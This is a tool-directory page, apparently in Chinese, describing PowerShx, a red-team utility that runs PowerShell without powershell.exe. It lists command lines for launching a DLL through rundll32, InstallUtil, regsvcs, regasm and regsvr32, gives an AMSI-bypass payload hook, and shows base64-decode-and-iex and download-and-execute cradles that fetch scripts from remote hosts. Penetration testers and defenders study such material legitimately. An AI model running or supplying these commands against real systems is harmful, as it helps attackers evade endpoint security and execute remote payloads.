Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PowerShx — Run Powershell 而无需软件限制。 | Kitploit
工具/GitHubGitHub/iomoath/powershx
防御工具权限提升Payload生成IDS/IPS规避横向移动脚本与自动化后渗透利用渗透测试命令与控制红队
GitHubiomoath/powershx

PowerShx

281464年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Run Powershell 而无需软件限制。

查看仓库

SharpShx


使用 DLL 或独立可执行文件进行非托管 PowerShell 执行。

介绍

PowerShx 是基于 PowerShdll 项目重写和扩展的版本。PowerShx 提供了绕过 AMSI 和运行 PowerShell Cmdlet 的功能。

特性

  • 使用 rundll32.exe、installutil.exe、regsvcs.exe、regasm.exe、regsvr32.exe 通过 DLL 运行 PowerShell。
  • 无需 powershell.exe 或 powershell_ise.exe 即可运行 PowerShell。
  • 具备 AMSI 绕过功能。
  • 直接从命令行运行 PowerShell 脚本或运行 PowerShell 文件。
  • 导入 PowerShell 模块并执行 PowerShell Cmdlet。

使用方法

.dll 版本

rundll32

root@kitploit:~
rundll32 PowerShx.dll,main -e                           <要运行的PS脚本>
rundll32 PowerShx.dll,main -f <path>                    运行作为参数传递的脚本
rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet>     加载脚本并运行 PowerShell cmdlet
rundll32 PowerShx.dll,main -w                           在新窗口中启动交互式控制台
rundll32 PowerShx.dll,main -i                           启动交互式控制台
rundll32 PowerShx.dll,main -s                           尝试绕过 AMSI
rundll32 PowerShx.dll,main -v                           将执行输出打印到控制台

其他方法(感谢 SubTee 的这些技术):

root@kitploit:~
1. 
    x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
    x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2. 
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3. 
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4. 
    regsvr32 /s  /u PowerShx.dll -->调用 DllUnregisterServer
    regsvr32 /s PowerShx.dll --> 调用 DllRegisterServer

.exe 版本

root@kitploit:~
PowerShx.exe -i                          启动交互式控制台
PowerShx.exe -e                          <要运行的PS脚本>
PowerShx.exe -f <path>                   运行作为参数传递的脚本
PowerShx.exe -f <path> -c <PS Cmdlet>    加载脚本并运行 PowerShell cmdlet
PowerShx.exe -s                          尝试绕过 AMSI。

嵌入载荷

可以通过更新 "Common" 项目中的数据字典 "Common.Payloads.PayloadDict" 来嵌入载荷,并在 PsSession.cs 的 Handle() 方法中调用它。 示例:在 Handle() 方法中:

root@kitploit:~
private void Handle(Options options)
{
  // 在用户脚本之前执行
  _ps.Exe(Payloads.PayloadDict["amsi"]);
}

示例

运行 base64 编码的脚本

root@kitploit:~
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

注意:Empire 的 stager 需要使用 [System.Text.Encoding]::Unicode 进行解码。

运行从网络下载的脚本

root@kitploit:~
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"

要求

.NET 4

已知问题

某些错误似乎不会在输出中显示。这可能会造成困惑,因为像 Import-Module 这样的命令在失败时不会输出错误信息。 请确保正确输入命令。

在 DLL 模式下,交互模式依赖劫持父进程的控制台来显示命令输出。如果父进程没有控制台,请使用 -n 开关不显示输出,否则应用程序将崩溃。

由于 rundll32 处理参数的方式,在开关和参数之间使用多个空格可能会引发问题。脚本内部的多个空格是允许的。

下载工具